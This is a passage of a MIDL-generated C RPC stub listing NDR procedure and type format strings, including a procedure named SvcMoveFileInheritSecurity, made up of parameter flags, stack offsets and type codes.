0x0 ), /* 0 */ 590 | 591 | /* Parameter arg_1 */ 592 | 593 | /* 552 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ 594 | /* 554 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 595 | /* 556 */ 0x6, /* FC_SHORT */ 596 | 0x0, /* 0 */ 597 | 598 | /* Parameter arg_2 */ 599 | 600 | /* 558 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ 601 | /* 560 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 602 | /* 562 */ 0x8, /* FC_LONG */ 603 | 0x0, /* 0 */ 604 | 605 | /* Parameter arg_3 */ 606 | 607 | /* 564 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ 608 | /* 566 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ 609 | /* 568 */ 0x6, /* FC_SHORT */ 610 | 0x0, /* 0 */ 611 | 612 | /* Parameter arg_4 */ 613 | 614 | /* 570 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ 615 | /* 572 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ 616 | /* 574 */ 0x8, /* FC_LONG */ 617 | 0x0, /* 0 */ 618 | 619 | /* Return value */ 620 | 621 | /* 576 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 622 | /* 578 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ 623 | /* 580 */ 0x8, /* FC_LONG */ 624 | 0x0, /* 0 */ 625 | 626 | /* Procedure Proc11 */ 627 | 628 | /* 582 */ 0x0, /* 0 */ 629 | 0x48, /* Old Flags: */ 630 | /* 584 */ NdrFcLong( 0x0 ), /* 0 */ 631 | /* 588 */ NdrFcShort( 0xb ), /* 11 */ 632 | /* 590 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ 633 | /* 592 */ 0x32, /* FC_BIND_PRIMITIVE */ 634 | 0x0, /* 0 */ 635 | /* 594 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 636 | /* 596 */ NdrFcShort( 0x1c ), /* 28 */ 637 | /* 598 */ NdrFcShort( 0x8 ), /* 8 */ 638 | /* 600 */ 0x44, /* Oi2 Flags: has return, has ext, */ 639 | 0x5, /* 5 */ 640 | /* 602 */ 0xa, /* 10 */ 641 | 0x1, /* Ext Flags: new corr desc, */ 642 | /* 604 */ NdrFcShort( 0x0 ), /* 0 */ 643 | /* 606 */ NdrFcShort( 0x0 ), /* 0 */ 644 | /* 608 */ NdrFcShort( 0x0 ), /* 0 */ 645 | /* 610 */ NdrFcShort( 0x0 ), /* 0 */ 646 | 647 | /* Parameter arg_1 */ 648 | 649 | /* 612 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ 650 | /* 614 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 651 | /* 616 */ 0x6, /* FC_SHORT */ 652 | 0x0, /* 0 */ 653 | 654 | /* Parameter arg_2 */ 655 | 656 | /* 618 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ 657 | /* 620 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 658 | /* 622 */ 0x8, /* FC_LONG */ 659 | 0x0, /* 0 */ 660 | 661 | /* Parameter arg_3 */ 662 | 663 | /* 624 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ 664 | /* 626 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ 665 | /* 628 */ 0x6, /* FC_SHORT */ 666 | 0x0, /* 0 */ 667 | 668 | /* Parameter arg_4 */ 669 | 670 | /* 630 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ 671 | /* 632 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ 672 | /* 634 */ 0x8, /* FC_LONG */ 673 | 0x0, /* 0 */ 674 | 675 | /* Return value */ 676 | 677 | /* 636 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 678 | /* 638 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ 679 | /* 640 */ 0x8, /* FC_LONG */ 680 | 0x0, /* 0 */ 681 | 682 | /* Procedure Proc12 */ 683 | 684 | /* 642 */ 0x0, /* 0 */ 685 | 0x48, /* Old Flags: */ 686 | /* 644 */ NdrFcLong( 0x0 ), /* 0 */ 687 | /* 648 */ NdrFcShort( 0xc ), /* 12 */ 688 | /* 650 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ 689 | /* 652 */ 0x32, /* FC_BIND_PRIMITIVE */ 690 | 0x0, /* 0 */ 691 | /* 654 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 692 | /* 656 */ NdrFcShort( 0x0 ), /* 0 */ 693 | /* 658 */ NdrFcShort( 0x8 ), /* 8 */ 694 | /* 660 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ 695 | 0x2, /* 2 */ 696 | /* 662 */ 0xa, /* 10 */ 697 | 0x1, /* Ext Flags: new corr desc, */ 698 | /* 664 */ NdrFcShort( 0x0 ), /* 0 */ 699 | /* 666 */ NdrFcShort( 0x0 ), /* 0 */ 700 | /* 668 */ NdrFcShort( 0x0 ), /* 0 */ 701 | /* 670 */ NdrFcShort( 0x0 ), /* 0 */ 702 | 703 | /* Parameter arg_1 */ 704 | 705 | /* 672 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ 706 | /* 674 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 707 | /* 676 */ NdrFcShort( 0x56 ), /* Type Offset=86 */ 708 | 709 | /* Return value */ 710 | 711 | /* 678 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 712 | /* 680 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 713 | /* 682 */ 0x8, /* FC_LONG */ 714 | 0x0, /* 0 */ 715 | 716 | /* Procedure Proc13 */ 717 | 718 | /* 684 */ 0x0, /* 0 */ 719 | 0x48, /* Old Flags: */ 720 | /* 686 */ NdrFcLong( 0x0 ), /* 0 */ 721 | /* 690 */ NdrFcShort( 0xd ), /* 13 */ 722 | /* 692 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ 723 | /* 694 */ 0x32, /* FC_BIND_PRIMITIVE */ 724 | 0x0, /* 0 */ 725 | /* 696 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 726 | /* 698 */ NdrFcShort( 0xe ), /* 14 */ 727 | /* 700 */ NdrFcShort( 0x8 ), /* 8 */ 728 | /* 702 */ 0x44, /* Oi2 Flags: has return, has ext, */ 729 | 0x3, /* 3 */ 730 | /* 704 */ 0xa, /* 10 */ 731 | 0x1, /* Ext Flags: new corr desc, */ 732 | /* 706 */ NdrFcShort( 0x0 ), /* 0 */ 733 | /* 708 */ NdrFcShort( 0x0 ), /* 0 */ 734 | /* 710 */ NdrFcShort( 0x0 ), /* 0 */ 735 | /* 712 */ NdrFcShort( 0x0 ), /* 0 */ 736 | 737 | /* Parameter arg_1 */ 738 | 739 | /* 714 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ 740 | /* 716 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 741 | /* 718 */ 0x6, /* FC_SHORT */ 742 | 0x0, /* 0 */ 743 | 744 | /* Parameter arg_2 */ 745 | 746 | /* 720 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ 747 | /* 722 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 748 | /* 724 */ 0x8, /* FC_LONG */ 749 | 0x0, /* 0 */ 750 | 751 | /* Return value */ 752 | 753 | /* 726 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 754 | /* 728 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ 755 | /* 730 */ 0x8, /* FC_LONG */ 756 | 0x0, /* 0 */ 757 | 758 | /* Procedure SvcMoveFileInheritSecurity */ 759 | 760 | /* 732 */ 0x0, /* 0 */ 761 | 0x48, /* Old Flags: */ 762 | /* 734 */ NdrFcLong( 0x0 ), /* 0 */ 763 | /* 738 */ NdrFcShort( 0xe ), /* 14 */ 764 | /* 740 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ 765 | /* 742 */ 0x32, /* FC_BIND_PRIMITIVE */ 766 | 0x0, /* 0 */ 767 | /* 744 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 768 | /* 746 */ NdrFcShort( 0x8 ), /* 8 */ 769 | /* 748 */ NdrFcShort( 0x8 ), /* 8 */ 770 | /* 750 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ 771 | 0x4, /* 4 */ 772 | /* 752 */ 0xa, /* 10 */ 773 | 0x1, /* Ext Flags: new corr desc, */ 774 | /* 754 */ NdrFcShort( 0x0 ), /* 0 */ 775 | /* 756 */ NdrFcShort( 0x0 ), /* 0 */ 776 | /* 758 */ NdrFcShort( 0x0 ), /* 0 */ 777 | /* 760 */ NdrFcShort( 0x0 ), /* 0 */ 778 | 779 | /* Parameter src */ 780 | 781 | /* 762 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ 782 | /* 764 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 783 | /* 766 */ NdrFcShort( 0x68 ), /* Type Offset=104 */ 784 | 785 | /* Parameter dest */ 786 | 787 | /* 768 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ 788 | /* 770 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 789 | /* 772 */ NdrFcShort( 0x68 ), /* Type Offset=104 */ 790 | 791 | /* Parameter flags */ 792 | 793 | /* 774 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ 794 | /* 776 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ 795 | /* 778 */ 0x8, /* FC_LONG */ 796 | 0x0, /* 0 */ 797 | 798 | /* Return value */ 799 | 800 | /* 780 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 801 | /* 782 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ 802 | /* 784 */ 0xb8, /* FC_INT3264 */ 803 | 0x0, /* 0 */ 804 | 805 | /* Procedure Proc15 */ 806 | 807 | /* 786 */ 0x0, /* 0 */ 808 | 0x48, /* Old Flags: */ 809 | /* 788 */ NdrFcLong( 0x0 ), /* 0 */ 810 | /* 792 */ NdrFcShort( 0xf ), /* 15 */ 811 | /* 794 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ 812 | /* 796 */ 0x32, /* FC_BIND_PRIMITIVE */ 813 | 0x0, /* 0 */ 814 | /* 798 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 815 | /* 800 */ NdrFcShort( 0xe ), /* 14 */ 816 | /* 802 */ NdrFcShort( 0x8 ), /* 8 */ 817 | /* 804 */ 0x47, /* Oi2 Flags: srv must size, clt must size, has return, has ext, */ 818 | 0x4, /* 4 */ 819 | /* 806 */ 0xa, /* 10 */ 820 | 0x1, /* Ext Flags: new corr desc, */ 821 | /* 808 */ NdrFcShort( 0x0 ), /* 0 */ 822 | /* 810 */ NdrFcShort( 0x0 ), /* 0 */ 823 | /* 812 */ NdrFcShort( 0x0 ), /* 0 */ 824 | /* 814 */ NdrFcShort( 0x0 ), /* 0 */ 825 | 826 | /* Parameter arg_1 */ 827 | 828 | /* 816 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ 829 | /* 818 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 830 | /* 820 */ 0x6, /* FC_SHORT */ 831 | 0x0, /* 0 */ 832 | 833 | /* Parameter arg_2 */ 834 | 835 | /* 822 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ 836 | /* 824 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 837 | /* 826 */ 0x8, /* FC_LONG */ 838 | 0x0, /* 0 */ 839 | 840 | /* Parameter arg_3 */ 841 | 842 | /* 828 */ NdrFcShort( 0x11b ), /* Flags: must size, must free, in, out, simple ref, */ 843 | /* 830 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ 844 | /* 832 */ NdrFcShort( 0x6e ), /* Type Offset=110 */ 845 | 846 | /* Return value */ 847 | 848 | /* 834 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 849 | /* 836 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ 850 | /* 838 */ 0x8, /* FC_LONG */ 851 | 0x0, /* 0 */ 852 | 853 | /* Procedure Proc16 */ 854 | 855 | /* 840 */ 0x0, /* 0 */ 856 | 0x48, /* Old Flags: */ 857 | /* 842 */ NdrFcLong( 0x0 ), /* 0 */ 858 | /* 846 */ NdrFcShort( 0x10 ), /* 16 */ 859 | /* 848 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 860 | /* 850 */ 0x32, /* FC_BIND_PRIMITIVE */ 861 | 0x0, /* 0 */ 862 | /* 852 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 863 | /* 854 */ NdrFcShort( 0x0 ), /* 0 */ 864 | /* 856 */ NdrFcShort( 0x8 ), /* 8 */ 865 | /* 858 */ 0x44, /* Oi2 Flags: has return, has ext, */ 866 | 0x1, /* 1 */ 867 | /* 860 */ 0xa, /* 10 */ 868 | 0x1, /* Ext Flags: new corr desc, */ 869 | /* 862 */ NdrFcShort( 0x0 ), /* 0 */ 870 | /* 864 */ NdrFcShort( 0x0 ), /* 0 */ 871 | /* 866 */ NdrFcShort( 0x0 ), /* 0 */ 872 | /* 868 */ NdrFcShort( 0x0 ), /* 0 */ 873 | 874 | /* Return value */ 875 | 876 | /* 870 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 877 | /* 872 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 878 | /* 874 */ 0x8, /* FC_LONG */ 879 | 0x0, /* 0 */ 880 | 881 | /* Procedure Proc17 */ 882 | 883 | /* 876 */ 0x0, /* 0 */ 884 | 0x48, /* Old Flags: */ 885 | /* 878 */ NdrFcLong( 0x0 ), /* 0 */ 886 | /* 882 */ NdrFcShort( 0x11 ), /* 17 */ 887 | /* 884 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ 888 | /* 886 */ 0x32, /* FC_BIND_PRIMITIVE */ 889 | 0x0, /* 0 */ 890 | /* 888 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 891 | /* 890 */ NdrFcShort( 0xe ), /* 14 */ 892 | /* 892 */ NdrFcShort( 0x8 ), /* 8 */ 893 | /* 894 */ 0x44, /* Oi2 Flags: has return, has ext, */ 894 | 0x3, /* 3 */ 895 | /* 896 */ 0xa, /* 10 */ 896 | 0x1, /* Ext Flags: new corr desc, */ 897 | /* 898 */ NdrFcShort( 0x0 ), /* 0 */ 898 | /* 900 */ NdrFcShort( 0x0 ), /* 0 */ 899 | /* 902 */ NdrFcShort( 0x0 ), /* 0 */ 900 | /* 904 */ NdrFcShort( 0x0 ), /* 0 */ 901 | 902 | /* Parameter arg_1 */ 903 | 904 | /* 906 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ 905 | /* 908 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 906 | /* 910 */ 0x6, /* FC_SHORT */ 907 | 0x0, /* 0 */ 908 | 909 | /* Parameter arg_2 */ 910 | 911 | /* 912 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ 912 | /* 914 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 913 | /* 916 */ 0x8, /* FC_LONG */ 914 | 0x0, /* 0 */ 915 | 916 | /* Return value */ 917 | 918 | /* 918 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 919 | /* 920 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ 920 | /* 922 */ 0x8, /* FC_LONG */ 921 | 0x0, /* 0 */ 922 | 923 | /* Procedure Proc18 */ 924 | 925 | /* 924 */ 0x0, /* 0 */ 926 | 0x48, /* Old Flags: */ 927 | /* 926 */ NdrFcLong( 0x0 ), /* 0 */ 928 | /* 930 */ NdrFcShort( 0x12 ), /* 18 */ 929 | /* 932 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ 930 | /* 934 */ 0x32, /* FC_BIND_PRIMITIVE */ 931 | 0x0, /* 0 */ 932 | /* 936 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 933 | /* 938 */ NdrFcShort( 0x6 ), /* 6 */ 934 | /* 940 */ NdrFcShort( 0x24 ), /* 36 */ 935 | /* 942 */ 0x44, /* Oi2 Flags: has return, has ext, */ 936 | 0x3, /* 3 */ 937 | /* 944 */ 0xa, /* 10 */ 938 | 0x1, /* Ext Flags: new corr desc, */ 939 | /* 946 */ NdrFcShort( 0x0 ), /* 0 */ 940 | /* 948 */ NdrFcShort( 0x0 ), /* 0 */ 941 | /* 950 */ NdrFcShort( 0x0 ), /* 0 */ 942 | /* 952 */ NdrFcShort( 0x0 ), /* 0 */ 943 | 944 | /* Parameter arg_1 */ 945 | 946 | /* 954 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ 947 | /* 956 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 948 | /* 958 */ 0x6, /* FC_SHORT */ 949 | 0x0, /* 0 */ 950 | 951 | /* Parameter arg_2 */ 952 | 953 | /* 960 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ 954 | /* 962 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 955 | /* 964 */ 0x8, /* FC_LONG */ 956 | 0x0, /* 0 */ 957 | 958 | /* Return value */ 959 | 960 | /* 966 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 961 | /* 968 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ 962 | /* 970 */ 0x8, /* FC_LONG */ 963 | 0x0, /* 0 */ 964 | 965 | /* Procedure Proc19 */ 966 | 967 | /* 972 */ 0x0, /* 0 */ 968 | 0x48, /* Old Flags: */ 969 | /* 974 */ NdrFcLong( 0x0 ), /* 0 */ 970 | /* 978 */ NdrFcShort( 0x13 ), /* 19 */ 971 | /* 980 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ 972 | /* 982 */ 0x32, /* FC_BIND_PRIMITIVE */ 973 | 0x0, /* 0 */ 974 | /* 984 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 975 | /* 986 */ NdrFcShort( 0x6 ), /* 6 */ 976 | /* 988 */ NdrFcShort( 0x24 ), /* 36 */ 977 | /* 990 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ 978 | 0x4, /* 4 */ 979 | /* 992 */ 0xa, /* 10 */ 980 | 0x1, /* Ext Flags: new corr desc, */ 981 | /* 994 */ NdrFcShort( 0x0 ), /* 0 */ 982 | /* 996 */ NdrFcShort( 0x0 ), /* 0 */ 983 | /* 998 */ NdrFcShort( 0x0 ), /* 0 */ 984 | /* 1000 */ NdrFcShort( 0x0 ), /* 0 */ 985 | 986 | /* Parameter arg_1 */ 987 | 988 | /* 1002 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ 989 | /* 1004 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 990 | /* 1006 */ 0x6, /* FC_SHORT */ 991 | 0x0, /* 0 */ 992 | 993 | /* Parameter arg_2 */ 994 | 995 | /* 1008 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ 996 | /* 1010 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 997 | /* 1012 */ NdrFcShort( 0x7c ), /* Type Offset=124 */ 998 | 999 | /* Parameter arg_3 */ 1000 | 1001 | /* 1014 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ 1002 | /* 1016 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ 1003 | /* 1018 */ 0x8, /* FC_LONG */ 1004 | 0x0, /* 0 */ 1005 | 1006 | /* Return value */ 1007 | 1008 | /* 1020 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1009 | /* 1022 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ 1010 | /* 1024 */ 0x8, /* FC_LONG */ 1011 | 0x0, /* 0 */ 1012 | 1013 | /* Procedure Proc20 */ 1014 | 1015 | /* 1026 */ 0x0, /* 0 */ 1016 | 0x48, /* Old Flags: */ 1017 | /* 1028 */ NdrFcLong( 0x0 ), /* 0 */ 1018 | /* 1032 */ NdrFcShort( 0x14 ), /* 20 */ 1019 | /* 1034 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ 1020 | /* 1036 */ 0x32, /* FC_BIND_PRIMITIVE */ 1021 | 0x0, /* 0 */ 1022 | /* 1038 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1023 | /* 1040 */ NdrFcShort( 0xe ), /* 14 */ 1024 | /* 1042 */ NdrFcShort( 0x8 ), /* 8 */ 1025 | /* 1044 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ 1026 | 0x4, /* 4 */ 1027 | /* 1046 */ 0xa, /* 10 */ 1028 | 0x1, /* Ext Flags: new corr desc, */ 1029 | /* 1048 */ NdrFcShort( 0x0 ), /* 0 */ 1030 | /* 1050 */ NdrFcShort( 0x0 ), /* 0 */ 1031 | /* 1052 */ NdrFcShort( 0x0 ), /* 0 */ 1032 | /* 1054 */ NdrFcShort( 0x0 ), /* 0 */ 1033 | 1034 | /* Parameter arg_1 */ 1035 | 1036 | /* 1056 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ 1037 | /* 1058 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1038 | /* 1060 */ 0x6, /* FC_SHORT */ 1039 | 0x0, /* 0 */ 1040 | 1041 | /* Parameter arg_2 */ 1042 | 1043 | /* 1062 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ 1044 | /* 1064 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 1045 | /* 1066 */ NdrFcShort( 0x7c ), /* Type Offset=124 */ 1046 | 1047 | /* Parameter arg_3 */ 1048 | 1049 | /* 1068 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ 1050 | /* 1070 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ 1051 | /* 1072 */ 0x8, /* FC_LONG */ 1052 | 0x0, /* 0 */ 1053 | 1054 | /* Return value */ 1055 | 1056 | /* 1074 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1057 | /* 1076 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ 1058 | /* 1078 */ 0x8, /* FC_LONG */ 1059 | 0x0, /* 0 */ 1060 | 1061 | /* Procedure Proc21 */ 1062 | 1063 | /* 1080 */ 0x0, /* 0 */ 1064 | 0x48, /* Old Flags: */ 1065 | /* 1082 */ NdrFcLong( 0x0 ), /* 0 */ 1066 | /* 1086 */ NdrFcShort( 0x15 ), /* 21 */ 1067 | /* 1088 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ 1068 | /* 1090 */ 0x32, /* FC_BIND_PRIMITIVE */ 1069 | 0x0, /* 0 */ 1070 | /* 1092 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1071 | /* 1094 */ NdrFcShort( 0x0 ), /* 0 */ 1072 | /* 1096 */ NdrFcShort( 0x8 ), /* 8 */ 1073 | /* 1098 */ 0x47, /* Oi2 Flags: srv must size, clt must size, has return, has ext, */ 1074 | 0x2, /* 2 */ 1075 | /* 1100 */ 0xa, /* 10 */ 1076 | 0x1, /* Ext Flags: new corr desc, */ 1077 | /* 1102 */ NdrFcShort( 0x0 ), /* 0 */ 1078 | /* 1104 */ NdrFcShort( 0x0 ), /* 0 */ 1079 | /* 1106 */ NdrFcShort( 0x0 ), /* 0 */ 1080 | /* 1108 */ NdrFcShort( 0x0 ), /* 0 */ 1081 | 1082 | /* Parameter arg_1 */ 1083 | 1084 | /* 1110 */ NdrFcShort( 0x11b ), /* Flags: must size, must free, in, out, simple ref, */ 1085 | /* 1112 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1086 | /* 1114 */ NdrFcShort( 0x84 ), /* Type Offset=132 */ 1087 | 1088 | /* Return value */ 1089 | 1090 | /* 1116 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1091 | /* 1118 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 1092 | /* 1120 */ 0x8, /* FC_LONG */ 1093 | 0x0, /* 0 */ 1094 | 1095 | 0x0 1096 | } 1097 | }; 1098 | 1099 | static const rpc_MIDL_TYPE_FORMAT_STRING rpc__MIDL_TypeFormatString = 1100 | { 1101 | 0, 1102 | { 1103 | NdrFcShort( 0x0 ), /* 0 */ 1104 | /* 2 */ 1105 | 0x11, 0xc, /* FC_RP [alloced_on_stack] [simple_pointer] */ 1106 | /* 4 */ 0x8, /* FC_LONG */ 1107 | 0x5c, /* FC_PAD */ 1108 | /* 6 */ 1109 | 0x11, 0x0, /* FC_RP */ 1110 | /* 8 */ NdrFcShort( 0x1a ), /* Offset= 26 (34) */ 1111 | /* 10 */ 1112 | 0x1d, /* FC_SMFARRAY */ 1113 | 0x1, /* 1 */ 1114 | /* 12 */ NdrFcShort( 0x208 ), /* 520 */ 1115 | /* 14 */ 0x5, /* FC_WCHAR */ 1116 | 0x5b, /* FC_END */ 1117 | /* 16 */ 1118 | 0x1d, /* FC_SMFARRAY */ 1119 | 0x0, /* 0 */ 1120 | /* 18 */ NdrFcShort( 0x8 ), /* 8 */ 1121 | /* 20 */ 0x1, /* FC_BYTE */ 1122 | 0x5b, /* FC_END */ 1123 | /* 22 */ 1124 | 0x15, /* FC_STRUCT */ 1125 | 0x3, /* 3 */ 1126 | /* 24 */ NdrFcShort( 0x10 ), /* 16 */ 1127 | /* 26 */ 0x8, /* FC_LONG */ 1128 | 0x6, /* FC_SHORT */ 1129 | /* 28 */ 0x6, /* FC_SHORT */ 1130 | 0x4c, /* FC_EMBEDDED_COMPLEX */ 1131 | /* 30 */ 0x0, /* 0 */ 1132 | NdrFcShort( 0xfff1 ), /* Offset= -15 (16) */ 1133 | 0x5b, /* FC_END */ 1134 | /* 34 */ 1135 | 0x15, /* FC_STRUCT */ 1136 | 0x7, /* 7 */ 1137 | /* 36 */ NdrFcShort( 0x448 ), /* 1096 */ 1138 | /* 38 */ 0x8, /* FC_LONG */ 1139 | 0x4c, /* FC_EMBEDDED_COMPLEX */ 1140 | /* 40 */ 0x0, /* 0 */ 1141 | NdrFcShort( 0xffe1 ), /* Offset= -31 (10) */ 1142 | 0x8, /* FC_LONG */ 1143 | /* 44 */ 0x6, /* FC_SHORT */ 1144 | 0x6, /* FC_SHORT */ 1145 | /* 46 */ 0x8, /* FC_LONG */ 1146 | 0x6, /* FC_SHORT */ 1147 | /* 48 */ 0x6, /* FC_SHORT */ 1148 | 0x4c, /* FC_EMBEDDED_COMPLEX */ 1149 | /* 50 */ 0x0, /* 0 */ 1150 | NdrFcShort( 0xffe3 ), /* Offset= -29 (22) */ 1151 | 0x8, /* FC_LONG */ 1152 | /* 54 */ 0xb, /* FC_HYPER */ 1153 | 0x4c, /* FC_EMBEDDED_COMPLEX */ 1154 | /* 56 */ 0x0, /* 0 */ 1155 | NdrFcShort( 0xffd1 ), /* Offset= -47 (10) */ 1156 | 0x8, /* FC_LONG */ 1157 | /* 60 */ 0x8, /* FC_LONG */ 1158 | 0x5b, /* FC_END */ 1159 | /* 62 */ 1160 | 0x11, 0x4, /* FC_RP [alloced_on_stack] */ 1161 | /* 64 */ NdrFcShort( 0x8 ), /* Offset= 8 (72) */ 1162 | /* 66 */ 1163 | 0x1d, /* FC_SMFARRAY */ 1164 | 0x3, /* 3 */ 1165 | /* 68 */ NdrFcShort( 0x8 ), /* 8 */ 1166 | /* 70 */ 0x8, /* FC_LONG */ 1167 | 0x5b, /* FC_END */ 1168 | /* 72 */ 1169 | 0x15, /* FC_STRUCT */ 1170 | 0x3, /* 3 */ 1171 | /* 74 */ NdrFcShort( 0x8 ), /* 8 */ 1172 | /* 76 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ 1173 | 0x0, /* 0 */ 1174 | /* 78 */ NdrFcShort( 0xfff4 ), /* Offset= -12 (66) */ 1175 | /* 80 */ 0x5c, /* FC_PAD */ 1176 | 0x5b, /* FC_END */ 1177 | /* 82 */ 1178 | 0x11, 0x0, /* FC_RP */ 1179 | /* 84 */ NdrFcShort( 0x2 ), /* Offset= 2 (86) */ 1180 | /* 86 */ 0xb1, /* FC_FORCED_BOGUS_STRUCT */ 1181 | 0x3, /* 3 */ 1182 | /* 88 */ NdrFcShort( 0x10 ), /* 16 */ 1183 | /* 90 */ NdrFcShort( 0x0 ), /* 0 */ 1184 | /* 92 */ NdrFcShort( 0x0 ), /* Offset= 0 (92) */ 1185 | /* 94 */ 0x8, /* FC_LONG */ 1186 | 0x6, /* FC_SHORT */ 1187 | /* 96 */ 0x3e, /* FC_STRUCTPAD2 */ 1188 | 0x8, /* FC_LONG */ 1189 | /* 98 */ 0x6, /* FC_SHORT */ 1190 | 0x6, /* FC_SHORT */ 1191 | /* 100 */ 0x5c, /* FC_PAD */ 1192 | 0x5b, /* FC_END */ 1193 | /* 102 */ 1194 | 0x11, 0x8, /* FC_RP [simple_pointer] */ 1195 | /* 104 */ 1196 | 0x25, /* FC_C_WSTRING */ 1197 | 0x5c, /* FC_PAD 